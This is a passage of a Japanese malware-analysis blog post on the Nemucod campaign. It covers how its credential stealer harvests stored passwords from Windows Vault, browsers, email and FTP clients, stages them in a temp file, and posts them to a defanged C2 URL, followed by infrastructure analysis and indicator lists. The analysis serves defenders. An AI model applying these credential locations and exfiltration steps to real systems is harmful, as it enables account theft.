ブラウザそのほかのアプリケーションからデータを収集する前に攻撃者は最後にもう一箇所認証情報の格納場所をチェックします。Microsoft の「Windows Vault」と呼ばれる、組み込みの Credential Manager の一部です。被害者の OS が 6.2 (Windows 8 または Windows Server 2012) であることがわかった場合、本マルウェアは Vault Client Access Library (vaultcli.dll) をロードして格納されている認証情報にアクセスします。
ブラウザ
攻撃者は次に Firefox、Chrome、Opera などの web ブラウザに注目します。Internet Explorer についてはすべてにこれまでの手順でカバーされています。マルウェアは様々な Windows のレジストリキーを一覧し、まずこれらのブラウザのインストール先フォルダのパスを集めてからそこに格納されている認証情報を収集します。
Chrome を例に取ると、本マルウェアは、Chrome が作成し、さまざまな情報を格納するのに使っている sqlite データベース ファイルの場所を特定します。攻撃者が標的にするこうした sqlite ファイルの 1 つが「Web Data」という名前のファイルです。このファイルにはログインや住所などの HTML フォームに自動で入力されるオートフィル用の情報が格納されています。sqlite コマンドの「.tables」は次に示すようにテーブル名の一覧を作成します。
1 2 3 4 5 6 7 |
sqlite> .tables autofill credit_cards server_addresses autofill_profile_emails ie7_logins server_card_metadata autofill_profile_names keywords token_service autofill_profile_phones masked_credit_cards unmasked_credit_cards autofill_profiles meta autofill_profiles_trash server_address_metadata |
この検証用システムの「Web Data」データベースの「autofill」テーブルに格納されたデータを確認してみると、以前 HTML フォームの自動入力に使った偽名と偽の電話番号に関連した詳細を確認することができます。
1 2 3 4 |
sqlite> select * from autofill; FirstName|Bob|bob|n|n|1 LastName|REDACTED|REDACTED|n|n|1 deviceAddress|REDACTED|REDACTED|n|n|1 |
このほか、本マルウェアは「Login Data」名前のデータベースにもアクセスします。このデータベースには「logins」という名前のテーブルがあり、このテーブルには次の例に示すように Google アカウント サービスにログインを表示してメールやカレンダーなどにアクセスするための情報が格納されています。
電子メール クライアント
次に注目するのが被害者のシステムにインストールされた電子メールクライアントからの認証情報収集です。Outlook や Outlook Express がまず検索されます。マルウェアはレジストリ キー「HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts」をチェックしてシステムにインストールされている電子メール クライアントやWindows のアドレス帳に関するデータを探し、次の図 28 に示すように SMTP、POP3、IMAP プロトコル用のすべての「Server」「User」および「Password」の値の一覧を作成してそれぞれのデータを集めます。
本マルウェアは続いてほかにインストールされている電子メール クライアントについてもチェックしてさらに認証情報を収集しようとします。この対象にはMozilla Thunderbird やRITLabs の TheBat!、Windows Mail や Windows Live Mail も含まれます。
ちなみに、電子メール クライアント TheBat! はモルドバ共和国の首都キシナウを本拠地とするソフトウェア会社、RITLabs が作成したものです。
この事実は興味深いものです。というのも、攻撃者グループによって利用されているインフラの一部 (後に詳述) もこのモルドバに存在または登記されているからです。
本マルウェアは SSH (Secure Shell)、FTP (File Transfer Protocol)、および HTTP など、リモート接続してシステム管理し、システム間でファイルを転送するために利用されることの多いプロトコルで通信を行うソフトウェア アプリケーションがシステム上にあるかどうかをチェックします。この目的は、そうしたソフトウェア アプリケーション内に格納されている認証情報、ホスト名、IP アドレスなどがあればそれらも併せて収集することにあります。こうした種類のアプリケーションに格納されている認証情報は、不正アクセスに成功したネットワーク内での偵察行為を継続したり別の攻撃を達成したりするなど、さらなる展開を狙う攻撃者には非常に便利なものです。
対象とされたアプリケーションには、SSH 経由でファイルのコピーを行う WinSCP (Windows Secure Copy) や、Ghilser 社の Total
Commander、FileZilla、FlashFXP、Cyberduck、CoffeeCup Software、CuteFTP、SmartFTP などがあります。これらはすべて FTP 機能を含むアプリケーションです。
流出
マルウェアが見つけた認証情報はすべて被害者の一時フォルダ内のテキストファイルに格納され流出の準備が行われます。このバージョンの例では、このテキストファイルに次の名前が付けられていました。
%TEMP%\goga.txt
このテキスト ファイルのフォーマットは次に示すとおりで、以前被害者を識別して登録するのに使われた一意の識別子 (UID) が日時とともに含まれており、攻撃者はこの情報にもとづいてデータを仕分けることができます。UID と日時情報の後には、マルウェアの実行中に収集された認証情報が続きます。認証情報には、プロトコル、必要なポート番号、ユーザー名、パスワード、ホスト名が記載されます。
TEST-UID
YYYY-MM-DD HH:MM:SS
ftp://username:password@ftp.somedomain.com:21
https://username:password@accounts.somedomain.com/
本マルウェアはその最終段階で収集したすべての情報を攻撃者に引き渡します。この通信には HTTP POST リクエストが使用されます。次のような文字列を HTTP ヘッダの User-Agent フィールドに設定することにより Windows 7 オペレーティング システムと FireFox ブラウザに見せかけたHTTP POST リクエストが発行されます。
Mozilla/5.0 (Windows NT 6.1; rv:45.0)
本マルウェアは Wininet.dll ライブラリから InternetOpenA、InternetConnectA、HttpOpenRequest 関数を呼び出して HTTP POST リクエストを準備し、次の URL に goga.txt のコンテンツを送ります。
http://185.159.82[.]11/re/b.php
インフラ
WHOIS の報告では、このバージョンのマルウェアにより感染した被害システムの登録、窃取された認証情報の流出の両方に使用されている IP アドレスは以下のようなものとなっています。
- The IP belongs to a Russian-owned hosting service, King Servers
- The IP resolves to domain customer.clientshostname.com
詳細については後述しますが、本調査内で収集したすべてのサンプルについて IP アドレスとホスト名情報を調査するとさらに大掛かりなインフラが利用されていることが分かりました。とはいっても、本ブログ記事を通じ、これまで解説してきた単一の IP アドレスがその中心的存在でありつづけていることには変わりがありませんでした。図 29 に示すとおり、兵器化された文書を含むマルウェアのサンプル (赤い丸)、PE ファイルのサンプル (赤い丸に青いブックマーク)、そしてドメイン名(青い丸) はいずれも、この単一の IP アドレスと customer.clientshostname.co.uk というドメイン名に関連付けられていたのです。
図 29 に示す大半のサンプルは、2016 年 12 月に見つかった 2 つを除いて AutoFocus で 2017 年 1 月から 3 月にかけて見つかったものです。ホスト名 customer.clientshostname[.]com に名前解決される IP アドレスは図中オレンジの丸で示しています。このオレンジの丸につながっている青い丸は clientshostname[.]com のサブドメインを表しています。その大半には、姓と名を名姓の順に繋いだ「joebloggs」のような命名規則が用いているようでした。 DNS の逆引きすると、これらのサブドメインのいくつかが Grizzly Steppe についての報告書(リンク先英語)の IOC (Indicator of Compromise、攻撃や侵入の痕跡) に記載されている IP アドレスにつながっていました。分析されたサンプルからこうしたサブドメインがどのように使用されたかはわかっていません。
次の図は、ほかの 2 つの IP アドレス (185.130.104[.]156 と 185.130.104[.]178) に注目した図です。これら 2 つの IP アドレスは、同一のクラス C ネットワーク範囲に所属し、また前掲の図の IP と同一のクラス B ネットワーク範囲に所属しています。この図では、1 つの PE 実行ファイル (認証情報を窃取するスティーラーで、ここでは赤い丸に青いブックマークとして表示) を除き、すべてのバージョンが兵器化された文書で、そのほとんどがこの図の下部、半円の中心、ズームインされた矩形の中に示された IP アドレス 185.130.104[.]156 を参照しています。1つの例外を除いてすべてのサンプルが AutoFocus で 2016 年 11 月に見つかっています。この例外は矢印 1が示しているものでこれだけは 2016 年の 12 月の終わりに見つかっています。
興味深いことに、この IP アドレスもまた関連づけられたドメイン名がありました。これらのドメイン名をズームインした矩形内に示しています。
letstrade-bit[.]com、lesbtc[.]com (および mail.lesbtc[.]com)、secure-trade24[.]com などです。最初の 2 つのドメイン名は 2016 年 12 月 20 日に登録され、残りは 12 月 14 日に登録されていました。これら 3 つのドメインはいずれも取引やビットコイン (BTC) をうかがわせる名前が付けられていますがこれまで分析したサンプルでは、こうしたサブドメインがどのように使用されたのかについてははっきりしていません。しかしながらこれらはビットコインによる身代金支払いを要求する最近のランサムウェアを思わせる用語といえます。
IP アドレス 185.130.104[.]178 (矢印 2) には、関連する兵器化された文書のバージョンが 3 つあります。これらはすべてAutoFocus で 2017 年 2 月下旬に見つかったものです。図30では、前掲の IP アドレスと併せ、月ごとにどのように攻撃キャンペーンの波が変化しているか、また攻撃者が自身の C2 サーバーとの通信用にインフラ内でどのように異なる IP アドレスを切り替えて使っているかを示しています。
攻撃者が一定のバージョンのグループごとに異なる C2 通信ホストを使用するという点に着目したのが次の図です。この図からさらに多くのバージョンのグループが C2 通信のために異なる IP アドレスを使っている様子が見て取れます。下の 2 つの IP アドレスはやはり互いに同一のクラス C ネットワーク範囲に所属しており、うち IP アドレス217.28.218[.]231 のものはある 1 つのバージョンでしか使用されていません (矢印 1)。なおこのバージョンが AutoFocus で 10 月 26 日に最初に見つかったバージョンでした (そしてこれが『ブレイキング・バッド』への言及が行われていたバージ
ョンです)。もう一つの IP アドレス 217.28.218[.]210 のホストは 12 個の既知のバージョンで C2 通信に使用されており、うち 3 つは認証情報を窃取する PE 実行ファイルでした。残りのファイルは兵器化された文書です。
以下の図 32 に示す 2 つの兵器化された文書のバージョンは、12 月 19 日と 12 月 30 日 に AutoFocus で見つかりました。これらのバージョンは他の大半のバージョンが電子メールで被害者に送信されたのとは異なり、web アプリケーション経由でダウンロードされたもので、感染元となったのは argos-tracking.co[.]uk という web サイトでした。被害を受けたのは英国の通信関連企業と医療関連に所属する組織でした。
.co.uk というセカンド レベル ドメイン (SLD) からは UK に本拠地をおくビジネスを標的としていることとがうかがわれます。これに加え、argos、 tracking という用語が使われていることから、これを見た英国市民の多くが、オンライン小売業と小包配送サービスを含め、英国を中心に小売販売事業を展開している Argos 社に関連しているドメインだろうと推測することになると思われます。この情報と AutoFocus を使って確認した英国の標的を合わせれば、この攻撃者グループが英国でソーシャル エンジニアリングによって被害者を騙そうとしたことは明らかです。
WHOIS のレコードによれば、argos-tracking.co[.]uk ドメインの登録者 は Mr Milosh Zotich というセルビア共和国ベルグラードの人間で、parking-1.domains4bitcoins[.]com と parking-2.domains4bitcoins[.]com をネームサーバーとして登録した上で 2016 年 12 月 15 日に現時点では廃止されている当該ドメインを登録していました。この登録日は AutoFocus でドメイン名がみつかるたった 4 日前です。Domains4bitcoins について若干捕捉すると、こうしたサービスは、デジタル暗号化された通貨を使うことにより、ドメイン登録やホスティング サービスの匿名で利用する用途で使われています。これらのネームサーバーは 12 月 20 日に ClouDNS の異なるネームサーバーに変更されていました。ClouDNS は無料でDNS ホスティングとドメイン名を提供しているサイトです。
もっとも最近の argos-tracking.co[.]uk ドメインへの変更は 2017 年 2 月 22 日 に行われた同ドメインの廃止申請です。この例は、侵害の成功率をあげるためなら攻撃者グループがどれほど被害者の偵察に手間をかけるかを示す好例と言えます。
まとめ
Nemucod マルウェアは、主に兵器化された文書を使って攻撃をしかけてくるマルウェアです。兵器化した文書は悪意のある VBA マクロ コードを含んでいます。この VBA マクロ コードは、エンコードされた悪意のある JScript ファイルを組み立てて実行します。実行された JScript ファイルは攻撃者の C2 サーバーに被害者を登録してからペイロードをダウンロードします。この例では認証情報を盗むトロイの木馬の実行ファイルがダウンロードされています。
スパム攻撃キャンペーンで使われる電子メールに実行ファイルを添付し、添付した実行ファイルにエンコードした JScript のコンテンツをドロップさせるという手法は、兵器化した文書によってコンテンツをドロップする手法に比べるとほとんど使用されていません。というのも、電子メールに実行ファイルが添付されていると、被害者が疑念をいだきやすくなり、その結果うまく感染させられる確率が下がることが理由と推測されます。
Unit 42 チームと AutoFocus が 2016 年 10 月下旬から 2017 年 3 月下旬にかけて確認したこの特定の Nemucod 攻撃キャンペーンは、様々な国に影響を与えていましたが、とりわけヨーロッパの国々が数多くの産業セクタをまたいで大きな影響を受けていました。
本稿でこれまで説明してきたように、argos-tracking.co[.]uk ドメインの登録情報、その多くがロシア人の所有する King Servers ホスティング サービスに帰属する IP アドレスの場所、兵器化された文書で使われているコード ページと言語設定などの詳細を考慮すると、本マルウェア、マルウェアによる攻撃キャンペーン、また背後にいる攻撃者グループは、東ヨーロッパのいずれかの国に端を発している可能性が高いでしょう。
本攻撃で使用された配布文書の進化的な変更や、難読化のテクニック、ソーシャル エンジニアリング手法のように、ほかのスパム攻撃キャンペーンでも、最近は開発ペースと単独の攻撃キャンペーン内での変更により、より多くの被害者を集め、より長い期間検出を避けることに注目しています。これについてはまた別の Unit 42 ブログ(リンク先英語)で説明していますのでこちらを参照してください。
パロアルトネットワークス製品をご利用のお客様はこれらの脅威から以下の方法で保護されています。
- これまで論じてきたすべてのサンプルは WildFire のサンドボックス プラットフォームで悪意があると判別されます。
- 特定されたドメインはすべて悪意があるドメインと判別されます。
- AutoFocus ユーザーの皆様は本稿で説明したマルウェアをNemucod (リンク先英語)タグで追跡できます。
- Traps をご利用のお客様は Nemucod の実行を Traps が阻止することにより保護されています。
兵器化された文書を Traps が保護しているエンドポイント上で実行すると、疑わしい子プロセスの実行によりデフォルトの制限がトリガーされ、システムが保護されます。この例では Winword.exe (Word のプロセス) が wscript.exe (Windows Scripting Host のプロセス) を実行しようとしています。こういった兵器化された文書はその多くが電子メール経由で着信することを勘案すると、実際には Outlook など電子メールクライアント
アプリケーションの実行プロセスツリーがより深いものになることが多いでしょう。すなわち、Outlookが Word を実行し、続いて Word が
Windows Scripting Host を実行するというシナリオです。次の 図 33 では、こうした活動に対する Traps の典型的な防止アラートを示しています。
次の図 34 は ESM (Enterprise Service Manager) 上で影響を受けたホストについての詳細画面を表示しています。トリガーされた制限 (1)、ホストのシステムと関与したプロセス群 (2) およびそのハッシュ値、バージョン、存在する場合は電子署名、その他関連するファイルや URL などです。この例では、Windows Scripting Host プロセスのコンテキストで実行しようとした JSE ファイルが (3) に記載されています。
付録 A: IOC
電子メールの添付ファイル名:
- Microsoft Office Word Document.doc
- Details.doc
- List.doc
- Doc1.doc
- Agr.doc
- YoursDoc.doc
- Docs.doc
- YourGoods.doc
- R.doc
- r_vk.doc
- Vertragskopie
- goods.doc
- Agreement_copies.doc
- documents.doc
- Vertrag.doc
- file
- Bishop-GmbH-Vertrag.doc
- Rechn.doc
- Rec.doc
電子メールの件名:
- Your Eguipment
- AW:Your order was completed
- AW:Delivery
- Re:Delivery
- Documents
- AW:Goods
- Delivery
- Goods
- Package
- Re:Documents
- AW:Package
- Re:Order
- Re:Waiting for payment
- AW:Waiting for payment
- Re:agreement
- Re:Your order was completed
- AW:Order
- AW:Documents
- Re:Package
- Re:Goods
- AW:agreement
- Get Carried Away at The Peninsula
- Discover The Revolutionary Trick To Restore Your Memory!
- RE: Rechnung
- AW:Rechnungen
- RE:Rechnungen
- AWd: Rechnung
- RE: billing terms
- RE: We are waiting for your payment.
- RE: payment
- AWd:Rechnungen
- AW:Auftrag
- AW:Dokumentation
- AW:Technikdokumentation
- RE:Begleichung
- AW:Schlussbestimmungen
- re:bishop-gmbh-vertrag
- AW: Rechnung
PE ドロッパーのハッシュ値
- 1b64d1c93e53fa74d89c3362c30899644e9fef7f11292f40740b216bcbe03285
- 1db89009b678ba4517fc7490b9a7f597b838939499365374eba32347393fdd4e
- 85d56628f7ec277a5f49a801ef4793072edd56d9c26b0bdb9b3dc348366c734a
- b75b3ff65632b65d1d641075bd2f5ed0ede93da3a35d7f50068b9371ee5c4552
- ffc5e46200f16549f17d2d6e4d6e5e61239b711cd07fbf7932c31e2ea18a7865
文書ドロッパーのハッシュ値
- 0a59bc35fe7bd84c955402aba2ad3883a5cdb08deb353c8f6310a163109f0c60
- fee6b19ff8a39e83756345af421d3d85d20e67df62ac58bc05f514c368efc329
- 8e9af7d90193bddc89d1c3782477bde76f90707eb1900537c020fc02970bbd74
- c173085b954ff1055fb859e6584a9e0bb3919740752351ad50706c0b7be37b51
- 1faa27f82bcbad0acc444727e7be35147e5a2ee92757781e5f26db614d3cee7f
- 6ebd2955fb137b5c983bbfb7601ea49ceb1f66119d13ce850c12d89e8c6a3742
- 777560483cb903ba803bfdbbd1f37353706da3a265e32da44fffb3ec7fcf07a2
- 7df6bd0af983f87dc34a71d009a3bd3bd272e094c6c55bf765148d836129e10c
- d58cfd2d851b9c98f9de79d38944d72eddec1e2243f1065de7d8b1ed1bf1cddd
- 4916bc8dc91941a444d3aa41616eaebe8c3d4b095a0c566945b85c143ae532c1
- de5ac4aedaca5649758bf34c87fd59967c2adeaaa0be65a58b9c8e9f6a8660f1
- 368304125ffd86a234aeb8c05a90b7ee40b37dae1dea7178deeda522eac9dcbc
- 1384934c09f6551d19150bfcf8ae954f4969d0b9ff841c93f81ebb57eecc9a71
- f89edff923d1d2daf6b2ab36595e873ed7d1cd52c2f6b66b590fa636c17dced2
- b1d5bfb124a15ab9068cf413de430a1c2cbd7b2bf67a766cf971269c67c3eace
- 256078f83cf9535c72debffa3d34818789849131e9138589728b4085e2ae2169
- d3683a4fe910d5815541beb2c42b98827a1f6362073b9901a74c36e15072c1a2
- cfe56d178ff873a5d984220c96570144a6674ce1b675036566a93ff6d680a981
- 069a4abb186efb6c3b6733cb2f35151d03eefe40cfb626d3c42aaa5f7ef342c6
- 97ea044a5820f9271c21bd8f1bb381099fb188a7d9f54ac72a88bf41411cf1b3
- 5b331693bc7ad009db3905fd37edfa94c528b6c4eee024f7a35dcc9b6b8a9c26
- 7e62823f8a775674b6333ff535e93a9fc0bdcfd943c903fe85e614b34d692549
- a85b040e923e45a3e139576c2086a8f1671b1c60053274d850218ffa422f80e6
- 1c95a2a32b639008245a205f51aa7fbafc0b61ecc6879f9978be174feee516f4
- 9e9e7ade1def82a56898415c079bd3f861c143f9db6770a28592bbbe04d5f234
- 40fd876c5d7f859484a8d3a021ce3c5eeba23deb8574f4b598aeaa6a0ded7815
- 92c82d7ea7b89f02c5b8e7d93d2a4ad17fbc0688ff9ad881cc185c18ea466232
- ae3bb85b87d40a12e82b2545fd4c9087b3e847a744a27c1ac215dd38821ced87
- c600c7638474fb31664ab32fb9aad5c216096b2c68d93c9eb37cf0476868cf05
- 8451cf3f5e5e2576f2ad36a4f19998e5824c2ab185f40ddec460a81ab1a8525a
- 34e5104bea2728cf9107b4ede124daee8ac68ad0979c66c356ddf3a0e6d0f4c6
- 7b48b21b10990cd53bb8969930b9f0b39cc495e95a33c38f80024a21a72b0176
- dcf3c00a20af527869771a7834565fb938739e3abf84038e2376b23a14926a38
- d8e62ce3039921c11872319a09acc61038f2452a6a2fdb8c0d3a0848b56b26ff
- 50ab7834e98c2f40d7441006a0221c07bff5f9f694999b595daa29b37c9a5e12
- b4d3c369449ead7ced48f84b9ea29cb4dbc6f485958e813b102c1d32ce62d3e8
- a02ed37812ac37d44979d5131aa10927fb9b9bd09aae2b470e65532bc694b27c
- 61bcd9b0c11989d6049fd181786f1748116c128bd4768d1b6849805186190320
- 6edbbc7f02179211c5b8da74a770492e25b31be683468629a073f313f25ec8b6
- 985d44dfeaf83c2c39c331e4b07b19e8726fb0ec168223455476132fe8c32fc8
- 1a60afa5c3dcff0fc41179e6a3b71ea0a92e4b50192eaa4c8e2b16ea0c50a229
- 76edebe74e015e709abb662c4fa8a2db2f24c12d5b6c51822eef403bf3c3a304
- 3fdcaf24d5c45d7a8dcf1b2932c026915a982de19b52a8f346ca312c58d36f05
- 561343438f0c26fa7628a91584628a5bd62c3abe1c0cf890b9fdb0528adbde62
- 7f53abc951258d5663119f3ac383b8f84da5acbf0bb9063e5e113ca87b1843ae
- 7c552166089ebf45081a5d14bef331e3153a5de50c53b66211b044a08f46153c
- 432a220ca1e6c64546f21807e17521c243cce2a63d956d0c0cf21a1101835829
- 297665276699830549c83ae79cd2c48e23733e9569be8040ee38d08a4d99192e
- 5e54c865afbd42f5a7b4007840e3099d8e1882c58542d08263ffc23fe994ef9b
- 8aa5a12bb237f93fc0c3f150a41fcc60e86007b1000c2b133457b2be27dfad4e
- 8e7f77a61a1e710e368257a37fe6785f9b608bb068e5c40824623d299997dbf0
- 379615acf199bb0beaee736824067b83dcbb2ae60eb648576c81d4971330dd16
- ad94f396f739d4df07f188b9babee829d07da01c986f4795a098d66137c7149c
- ff7fa949a99d745143d41eeb6b450dca3d95a38031e304b1e829c5bda2ce5213
- 034421d601d43883528d68741c87e765d76ff4123161d364f6eddfae1f3c7493
- e86c5f4fbcd626e1ec4c211ae1ed0d541fc453e6753e84a724f534c0b9700029
- 8b96d5316accd7d2ee0af01a4ae2766b7173d7705b3eef14d9dcb10cd34238ed
PE パスワード スティーラーのハッシュ値
- 53edea186162d84803f8ff72fb83c85f427b3813c32bd9d9d899e74ae283368e
- 76b703c9430abf4e0ba09e6d4e4d6cf94a251bb0e7f3fadbd169fcef954a8b39
- 99c50b658c632214f0b133f8742a5e6d2d34e47497d7a08ed2d80e4299be3502